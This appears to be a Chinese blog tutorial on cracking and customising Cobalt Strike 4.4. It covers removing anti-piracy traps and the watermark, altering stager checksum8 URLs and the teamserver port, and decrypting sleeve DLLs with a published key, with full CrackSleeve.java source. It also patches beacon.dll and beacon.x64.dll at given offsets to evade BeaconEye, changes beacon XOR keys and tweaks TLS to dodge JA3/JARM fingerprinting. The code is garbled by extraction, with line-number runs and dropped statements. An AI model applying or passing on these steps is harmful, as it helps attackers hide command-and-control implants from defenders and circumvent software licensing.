CS 本身 修改特征:watermark水印、Stager Url算法(checksum8)、Beacon Config密钥。
0x01 反编译JAR包 1、用IEDA中的 java-decompiler.jar(需要JDK 11+才可运行)来进行反编译CS。
2、原版CS 4.4 jarhttps://www.ddosi.org/cobaltstrike-4-4-csagent/ https://github.com/trewisscotch/CobaltStr4.4/ 
目录结构:
1 2 3 4 5 D:\JAVAPROJECT\CS-CMPILATION
运行反编译命令
1 java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true .\cs_bin\cobaltstrike.jar .\cs_src
反编译完成后得到cs的java源码(cs_src\cobaltstrike.jar 是个zip需要解压。)
0x02 环境搭建 主要参考:
https://pingmaoer.github.io/2020/06/24/CobaltStrike二次开发环境准备/ 
新建 IDEA 项目 新建项目JDK选 1.8 ,选择低版本jdk是为了向上兼容。decompiled_src 和 lib 。decompiled_src 放反编译得到的所有源码文件,lib放原版cs jar包。
设置项目结构 IDEA左上角 文件 > 项目结构 > 模块 > 依赖 添加原版 cobaltstrike.jar
后续修改其他模块代码也是如此操作 。
JOptionPane.showMessageDialog(null,"hello CS!!!");
生成jar包,菜单,构建 > 构建工件,会在 out/artifacts/xx/ 下生成jar包。
添加运行/调试配置 jar路径:上面生成的jar包。虚拟机选项写 [-XX:+AggressiveHeap -XX:+UseParallelGC]
https://github.com/Twi1ight/CSAgent  解压复制到 out/artifacts/xx/ 下,跟构建出来的jar同级。
编辑 配置选项,追加虚拟机选项:
1 -javaagent:D:\JavaProject\ChangeCS\out\artifacts\ChangeCS_jar\CSAgent.jar=5e98194a01c6b48fa582a6a9fcbb92d6 -Duser.language=en
这是因为触发了暗桩 :去除暗桩 
0x03 去除暗桩 通过IDEA复制 beacon/BeaconData.java 到项目src下,将shouldPad方法的值改为false
0x04 去除水印 修改 common/ListenerConfig.java ,注释掉49行,添加 var3.append((char)CommonUtils.rand(255));
0x05 修改stager checksum8 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public  class  EchoSum  {public  static  long  checksum8 (String text)  {if  (text.length() < 4 ) {return  0L ;"/" , "" );long  sum  =  0L ;for  (int  x  =  0 ; x < text.length(); x++) {return  sum;public  static  void  main (String[] args)  throws  Exception {"x86: "  + checksum8("f796xxx.js" )); "x64: "  + checksum8("dd83xxx.js" )); 
https://www.tutorialspoint.com/compile_java_online.php 
运行得到:1270、1396
修改 cloudstrike/webserver.java 175、179、183行,替换,以及删除183行的 && uri.matches(“/[A-Za-z0-9]{4}”)
1 2 3 if  (!uri.startsWith("/" )) {return  this .processResponse(uri, method, header, param, false , (WebService)null , new  Response ("400 Bad Request" , "text/plain" , "" ));
1385行 return var2.toString(); 为 return “f796xxx.js;”, 1400行 return var1; 为 return dd83xxx.js;
0x06 修改服务登录接口 修改 teamserver登录接口,防爆破。
在当前项目src新建软件包ssl ,然后 通过IDEA 复制反编译出来的 ssl/SecureServerSocket.java 和 ssl/SecureSocket.java 到当前项目src/ssl下,修改 48879 为其他数字值。
0x07 解密sleeve资源 用jas502大佬的 cs_file_decrypt  解密 sleeve下的dll资源文件。
需要注意的是 CrackSleeve.java 密钥是其他版本CS的,需要修改为 当前版本的。
cobaltstrike4.4破解方式 
1 94 , -104 , 25 , 74 , 1 , -58 , -76 , -113 , -91 , -126 , -90 , -87 , -4 , -69 , -110 , -42 
完整 CrackSleeve.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 import  common.*;import  dns.SleeveSecurity;import  java.io.*;import  java.util.Enumeration;import  java.util.jar.JarEntry;import  java.util.jar.JarFile;public  class  CrackSleeve  {private  static  byte [] OriginKey = {94 , -104 , 25 , 74 , 1 , -58 , -76 , -113 , -91 , -126 , -90 , -87 , -4 , -69 , -110 , -42 };private  static  byte [] CustomizeKey = null ;private  String  DecDir  =  "cs44Resource/Decode/sleeve" ;private  String  EncDir  =  "cs44Resource/Encode/sleeve" ;public  static  String bytesToHex (byte [] data)  {char [] hex = new  char [32 ];for  (int  i  =  0 ; i < 16 ; i++) {int  di  =  data[i];1 ] = Character.forDigit((di >> 4 ) & 15 , 16 );1 ) + 1 ] = Character.forDigit(di & 15 , 16 );return  new  String (hex);public  static  byte [] hex2bytes(String var0) {int  var1  =  var0.length();byte [] var2 = new  byte [var1 / 2 ];for  (int  var3  =  0 ; var3 < var1; var3 += 2 ) {2 ] = (byte ) ((Character.digit(var0.charAt(var3), 16 ) << 4 ) + Character.digit(var0.charAt(var3 + 1 ), 16 ));return  var2;public  static  byte [] Generate_Key() {SecureRandom  random  =  new  java .security.SecureRandom();byte [] PrivateBytes = new  byte [16 ];String  Random_Keys  =  java.util.Arrays.toString(PrivateBytes);"[-] Example: \n[*] Random_Keys= "  + Random_Keys);return  PrivateBytes;public  static  void  main (String[] args)  throws  IOException {if  (args.length == 0  || args[0 ].equals("-h" ) || args[0 ].equals("--help" )) {"UseAge: CrackSleeve OPTION [key]" );"Options:" );"\tdecode\t\tDecode sleeve files" );"\tencode\t\tEncode sleeve files" );"\tkey\t\tCustomize key string for encode sleeve files" );0 );String  option  =  args[0 ];if  (option.toLowerCase().equals("encode" )) {if  (args.length <= 1 ) {"[-] Please enter key." );byte [] Customize_key = Generate_Key();"[*] Random_Keys Hash =>> "  + bytesToHex(Customize_key));"[*] $ java -cp cobaltstrike.jar:. CrackSleeve encode %s \n" , bytesToHex(Customize_key) +"\n" );0 );String  CustomizeKeyStr  =  args[1 ];if  (CustomizeKeyStr.length() < 16 ) {"[-] key length must be 16." );0 );"Init Key: "  + CustomizeKeyStr.substring(0 , 32 ));0 , 32 ));CrackSleeve  Cracker  =  new  CrackSleeve ();if  (option.equals("decode" )) {else  if  (option.equals("encode" )) {private  void  DecodeFile ()  throws  IOException {File  saveDir  =  new  File (this .DecDir);if  (!saveDir.isDirectory()) {try  {String  path  =  this .getClass().getClassLoader().getResource("sleeve" ).getPath();String  jarPath  =  path.substring(5 , path.indexOf("!/" ));new  JarFile (new  File (jarPath)).entries();while  (jarEnum.hasMoreElements()) {JarEntry  Element  =  jarEnum.nextElement();String  FileName  =  Element.getName();if  (FileName.indexOf("sleeve" ) >= 0  && !FileName.equals("sleeve/" )) {"[+] Decoding "  + FileName + "......" );byte [] decBytes = CrackSleevedResource.DecodeResource(FileName);if  (decBytes.length > 0 ) {"Done." );new  File (saveDir, "../"  + FileName), decBytes);else  {"Fail." );catch  (IOException e) {private  void  EncodeFile ()  {File  saveDir  =  new  File (this .EncDir);if  (!saveDir.isDirectory()) {File  decDir  =  new  File (this .DecDir);if  (decFiles.length == 0 ) {"[-] There's no file to encode, please decode first." );0 );for  (File file : decFiles) {String  filename  =  decDir.getPath() + "/"  + file.getName();"[+] Encoding "  + file.getName() + "......" );byte [] encBytes = CrackSleevedResource.EncodeResource(filename);if  (encBytes.length > 0 ) {"Done." );new  File (saveDir, file.getName()), encBytes);else  {"Fail." );class  CrackSleevedResource  {private  static  CrackSleevedResource singleton;private  SleeveSecurity  data  =  new  SleeveSecurity ();public  static  void  Setup (byte [] paramArrayOfbyte)  {new  CrackSleevedResource (paramArrayOfbyte);public  static  byte [] DecodeResource(String paramString) {return  singleton._DecodeResource(paramString);public  static  byte [] EncodeResource(String paramString) {return  singleton._EncodeResource(paramString);private  CrackSleevedResource (byte [] paramArrayOfbyte)  {this .data.registerKey(paramArrayOfbyte);private  byte [] _DecodeResource(String paramString) {byte [] arrayOfByte1 = CommonUtils.readResource(paramString);if  (arrayOfByte1.length > 0 ) {long  l  =  System.currentTimeMillis();return  this .data.decrypt(arrayOfByte1);byte [] arrayOfByte2 = CommonUtils.readResource(paramString);if  (arrayOfByte2.length == 0 ) {"Could not find sleeved resource: "  + paramString + " [ERROR]" );else  {"Used internal resource: "  + paramString);return  arrayOfByte2;private  byte [] _EncodeResource(String paramString) {try  {File  fileResource  =  new  File (paramString);InputStream  fileStream  =  new  FileInputStream (fileResource);if  (fileStream != null ) {byte [] fileBytes = CommonUtils.readAll(fileStream);if  (fileBytes.length > 0 ) {byte [] fileEncBytes = this .data.encrypt(fileBytes);return  fileEncBytes;catch  (FileNotFoundException e) {return  null ;
CrackSleeve.java 与原版cs jar放同一目录,执行如下命令:
1 2 javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
0x08 修改默认密钥 BeaconPayload 修改 beacon/BeaconPayload.java 方法 beacon_obfuscate() 中的 46,即 0x2E为其他数字十六进制形式。
修改DLL密钥 需要修改的dll文件:
1 2 3 4 5 6 7 8 beacon.dll
IDA分别打开上述文件,搜索0x2e是否为异或行为(xor),出现则Patch,Alt+I 全局搜索0x2e 进行替换为 BeaconPayload.java 中新的值。注意,32位的dll用32位IDA,64反之一样。
然后,工具栏 Edit–Patch Program–Change byte
0x09 去除BeaconEye特征 用32位IDA打开 beacon.dll,点Hex View-1视图, 按G 跳转到地址:1000A0B9 ,F2或者右键Edit…
6A 00 修改为6A 08,00可修改其他值。
用64位IDA 打开 beacon.x64.dll,按G跳转到地址:000000018001879B,右键 Text View
然后IDA左上角 Edit----Patch Program—Assemble 修改指令 xor edx, edx 为 mov edx, esi
重新加密DLL 修改完dll后重新加密。
1 java -classpath cobaltstrike.jar;./ CrackSleeve encode 5e98194a01c6b48fa582a6a9fcbb92d6
cs44Resource\Encode\sleeve 下 会生成重新加密后的DLL。
重新构建CS CS项目下新建文件夹 resources,并把其设置为资源类型。并且把 cs44Resource\Encode\sleeve 整个文件夹复制进去:
构建->构建工件->重新构建,生成新cs jar包。
EvilEye、BeaconEye检测结果如下:
未修改前
辅助 0x01 端口转发 主要还是Nginx/socat 中转,如下图(来自某大佬博客)。详情待实操补充。
0x02 云函数 略
0x03 JA3/S/JARM 找到篇文章:
https://www.bc-security.org/post/ja3-s-signatures-and-how-to-avoid-them/ 
https://www.vectra.ai/blogpost/c2-evasion-techniques 
好似可以通过修改 TLS 版本,能起到一定的"混淆"作用?
参考 java 文档 :https://java.com/en/configure_crypto.html 
禁用 TLS 选项:jdk.tls.disabledAlgorithms
编辑文件 conf/security/java.securitylib/security/java.security 添加或者删除某些tl版本
如windows上java 11 C:\Program Files\Java\jdk-11.0.13\conf\security\java.security
Reference
https://wbglil.gitbook.io/cobalt-strike/ https://lengjibo.github.io/CobaltStrikeCode/ https://bewhale.github.io/posts/50202.html https://www.bilibili.com/read/cv14238932 https://www.anquanke.com/post/id/265090 https://hosch3n.github.io/2020/12/16/检测与隐藏Cobaltstrike服务器/ https://maka8ka.cc/post/cobaltstrike-4-3-破解-修复暗桩/ https://ucasers.cn/对cobaltstrike4.4的简单魔改/